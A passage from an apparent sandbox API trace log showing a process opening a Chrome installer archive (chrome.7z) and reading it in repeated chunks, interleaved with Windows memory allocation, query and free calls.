(x86)\\google\\chrome\\application\\58.0.3029.110\\installer\\chrome.7z"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0032.804] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0032.804] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xad7d02b [0032.804] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0032.804] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.804] ReleaseMutex (hMutex=0x128) returned 1 [0032.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chrome.7z", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chrome.7z", cchWideChar=9, lpMultiByteStr=0x1e630ec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="chrome.7z", lpUsedDefaultChar=0x0) returned 9 [0032.805] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0032.814] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0032.819] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0032.819] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0032.823] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0032.825] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0032.825] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0032.826] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0032.826] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0032.826] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.198] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.199] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.199] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.200] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.201] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.202] VirtualAlloc (lpAddress=0x0, dwSize=0x110000, flAllocationType=0x101000, flProtect=0x4) returned 0x7edd0000 [0033.215] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.216] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.217] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.228] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.228] VirtualQuery (in: lpAddress=0x7eee0000, lpBuffer=0x304f23c, dwLength=0x1c | out: lpBuffer=0x304f23c*(BaseAddress=0x7eee0000, AllocationBase=0x7eee0000, AllocationProtect=0x4, RegionSize=0x70000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0033.228] VirtualAlloc (lpAddress=0x0, dwSize=0x160000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ec70000 [0033.239] VirtualFree (lpAddress=0x7edd0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0033.369] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.372] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.373] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.376] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.377] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.378] VirtualQuery (in: lpAddress=0x7edd0000, lpBuffer=0x304f23c, dwLength=0x1c | out: lpBuffer=0x304f23c*(BaseAddress=0x7edd0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x110000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0033.378] VirtualAlloc (lpAddress=0x7edd0000, dwSize=0x60000, flAllocationType=0x2000, flProtect=0x4) returned 0x7edd0000 [0033.378] VirtualAlloc (lpAddress=0x7edd0000, dwSize=0x60000, flAllocationType=0x1000, flProtect=0x4) returned 0x7edd0000 [0033.380] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.381] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.384] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.385] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.387] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.388] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.390] VirtualQuery (in: lpAddress=0x7ee30000, lpBuffer=0x304f23c, dwLength=0x1c | out: lpBuffer=0x304f23c*(BaseAddress=0x7ee30000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xb0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0033.390] VirtualAlloc (lpAddress=0x7ee30000, dwSize=0x70000, flAllocationType=0x2000, flProtect=0x4) returned 0x7ee30000 [0033.390] VirtualAlloc (lpAddress=0x7ee30000, dwSize=0x70000, flAllocationType=0x1000, flProtect=0x4) returned 0x7ee30000 [0033.392] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.393] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.394] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.396] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.396] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.407] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.407] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.409] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.409] VirtualQuery (in: lpAddress=0x7eea0000, lpBuffer=0x304f23c, dwLength=0x1c | out: lpBuffer=0x304f23c*(BaseAddress=0x7eea0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x40000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0033.409] VirtualAlloc (lpAddress=0x7eea0000, dwSize=0x40000, flAllocationType=0x2000, flProtect=0x4) returned 0x7eea0000 [0033.409] VirtualAlloc (lpAddress=0x7eea0000, dwSize=0x40000, flAllocationType=0x1000, flProtect=0x4) returned 0x7eea0000 [0033.808] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.809] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.810] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.811] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.980] VirtualQuery (in: lpAddress=0x7eee0000, lpBuffer=0x304f23c, dwLength=0x1c | out: lpBuffer=0x304f23c*(BaseAddress=0x7eee0000, AllocationBase=0x7eee0000, AllocationProtect=0x4, RegionSize=0x70000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0033.980] VirtualAlloc (lpAddress=0x0, dwSize=0x310000, flAllocationType=0x101000, flProtect=0x4) returned 0x7e960000 [0034.521] VirtualQuery (in: lpAddress=0x7ec70000, lpBuffer=0x304f23c, dwLength=0x1c | out: lpBuffer=0x304f23c*(BaseAddress=0x7ec70000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x270000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0034.522] VirtualAlloc (lpAddress=0x7ec70000, dwSize=0xd0000, flAllocationType=0x2000, flProtect=0x4) returned 0x7ec70000 [0034.587] VirtualAlloc (lpAddress=0x7ec70000, dwSize=0xd0000, flAllocationType=0x1000, flProtect=0x4) returned 0x7ec70000 [0034.633] VirtualQuery (in: lpAddress=0x7ed40000, lpBuffer=0x304f23c, dwLength=0x1c | out: lpBuffer=0x304f23c*(BaseAddress=0x7ed40000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x1a0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0034.633] VirtualAlloc (lpAddress=0x7ed40000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x7ed40000 [0034.634] VirtualAlloc (lpAddress=0x7ed40000, dwSize=0x100000, flAllocationType=0x1000, flProtect=0x4) returned 0x7ed40000 [0035.110] VirtualQuery (in: lpAddress=0x7ee40000, lpBuffer=0x304f23c, dwLength=0x1c | out: lpBuffer=0x304f23c*(BaseAddress=0x7ee40000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xa0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0035.110] VirtualAlloc (lpAddress=0x7ee40000, dwSize=0xa0000, flAllocationType=0x2000, flProtect=0x4) returned 0x7ee40000 [0035.110] VirtualAlloc (lpAddress=0x7ee40000, dwSize=0xa0000, flAllocationType=0x1000, flProtect=0x4) returned 0x7ee40000 [0035.133] VirtualQuery (in: lpAddress=0x7eee0000, lpBuffer=0x304f23c, dwLength=0x1c | out: lpBuffer=0x304f23c*(BaseAddress=0x7eee0000, AllocationBase=0x7eee0000, AllocationProtect=0x4, RegionSize=0x70000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0035.133] VirtualAlloc (lpAddress=0x0, dwSize=0x6e0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7e280000 [0035.831] VirtualQuery (in: lpAddress=0x7e960000, lpBuffer=0x304f208, dwLength=0x1c | out: lpBuffer=0x304f208*(BaseAddress=0x7e960000, AllocationBase=0x7e960000, AllocationProtect=0x4, RegionSize=0x310000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0035.831] VirtualFree (lpAddress=0x7e960000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0035.844] VirtualQuery (in: lpAddress=0x7ec70000, lpBuffer=0x304f208, dwLength=0x1c | out: lpBuffer=0x304f208*(BaseAddress=0x7ec70000, AllocationBase=0x7ec70000, AllocationProtect=0x4, RegionSize=0xd0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0035.845] VirtualFree (lpAddress=0x7ec70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0035.848] VirtualQuery (in: lpAddress=0x7ed40000, lpBuffer=0x304f208, dwLength=0x1c | out: lpBuffer=0x304f208*(BaseAddress=0x7ed40000, AllocationBase=0x7ed40000, AllocationProtect=0x4, RegionSize=0x100000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0035.848] VirtualFree (lpAddress=0x7ed40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0035.853] VirtualQuery (in: lpAddress=0x7ee40000, lpBuffer=0x304f208, dwLength=0x1c | out: lpBuffer=0x304f208*(BaseAddress=0x7ee40000, AllocationBase=0x7ee40000, AllocationProtect=0x4, RegionSize=0xa0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0035.853] VirtualFree (lpAddress=0x7ee40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0035.857] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0035.858] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0035.859] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0035.861] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0035.862] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0036.189] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0036.208] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0036.210] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0036.211] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0036.222] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0036.223] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0036.225] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0036.226] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0036.228] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0036.229] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0036.231] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0036.242] VirtualQuery (in: lpAddress=0x7e960000, lpBuffer=0x304f23c, dwLength=0x1c | out: lpBuffer=0x304f23c*(BaseAddress=0x7e960000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x580000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0036.242] VirtualAlloc (lpAddress=0x7e960000, dwSize=0x1c0000, flAllocationType=0x2000, flProtect=0x4) returned 0x7e960000 [0036.242] VirtualAlloc (lpAddress=0x7e960000, dwSize=0x1c0000, flAllocationType=0x1000, flProtect=0x4) returned 0x7e960000 [0036.597] VirtualQuery (in: lpAddress=0x7eee0000, lpBuffer=0x304f258, dwLength=0x1c | out: lpBuffer=0x304f258*(BaseAddress=0x7eee0000, AllocationBase=0x7eee0000, AllocationProtect=0x4, RegionSize=0x70000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0036.597] VirtualAlloc (lpAddress=0x0, dwSize=0x90000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ede0000 [0036.603] VirtualFree (lpAddress=0x7ee70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0036.607] VirtualQuery (in: lpAddress=0x7ee70000, lpBuffer=0x304f258, dwLength=0x1c | out: lpBuffer=0x304f258*(BaseAddress=0x7ee70000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x70000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0036.607] VirtualAlloc (lpAddress=0x7ee70000, dwSize=0x30000, flAllocationType=0x2000, flProtect=0x4) returned 0x7ee70000 [0036.608] VirtualAlloc (lpAddress=0x7ee70000, dwSize=0x30000, flAllocationType=0x1000, flProtect=0x4) returned 0x7ee70000 [0036.610] VirtualQuery (in: lpAddress=0x7eea0000, lpBuffer=0x304f258, dwLength=0x1c | out: lpBuffer=0x304f258*(BaseAddress=0x7eea0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x40000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0036.610] VirtualAlloc (lpAddress=0x7eea0000, dwSize=0x30000, flAllocationType=0x2000, flProtect=0x4) returned 0x7eea0000 [0036.611] VirtualAlloc (lpAddress=0x7eea0000, dwSize=0x30000, flAllocationType=0x1000, flProtect=0x4) returned 0x7eea0000 [0037.074] VirtualQuery (in: lpAddress=0x7eed0000, lpBuffer=0x304f258, dwLength=0x1c | out: lpBuffer=0x304f258*(BaseAddress=0x7eed0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0037.075] VirtualAlloc (lpAddress=0x7eed0000, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x7eed0000 [0037.075] VirtualAlloc (lpAddress=0x7eed0000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x7eed0000 [0037.076] VirtualQuery (in: lpAddress=0x7eee0000, lpBuffer=0x304f258, dwLength=0x1c | out: lpBuffer=0x304f258*(BaseAddress=0x7eee0000, AllocationBase=0x7eee0000, AllocationProtect=0x4, RegionSize=0x70000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0037.076] VirtualAlloc (lpAddress=0x0, dwSize=0x140000, flAllocationType=0x101000, flProtect=0x4) returned 0x7eca0000 [0037.088] VirtualQuery (in: lpAddress=0x7ede0000, lpBuffer=0x304f224, dwLength=0x1c | out: lpBuffer=0x304f224*(BaseAddress=0x7ede0000, AllocationBase=0x7ede0000, AllocationProtect=0x4, RegionSize=0x90000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0037.088] VirtualFree (lpAddress=0x7ede0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0037.091] VirtualQuery (in: lpAddress=0x7ee70000, lpBuffer=0x304f224, dwLength=0x1c | out: lpBuffer=0x304f224*(BaseAddress=0x7ee70000, AllocationBase=0x7ee70000, AllocationProtect=0x4, RegionSize=0x30000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0037.091] VirtualFree (lpAddress=0x7ee70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0037.092] VirtualQuery (in: lpAddress=0x7eea0000, lpBuffer=0x304f224, dwLength=0x1c | out: lpBuffer=0x304f224*(BaseAddress=0x7eea0000, AllocationBase=0x7eea0000, AllocationProtect=0x4, RegionSize=0x30000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0037.092] VirtualFree (lpAddress=0x7eea0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0037.093] VirtualQuery (in: lpAddress=0x7eed0000, lpBuffer=0x304f224, dwLength=0x1c | out: lpBuffer=0x304f224*(BaseAddress=0x7eed0000, 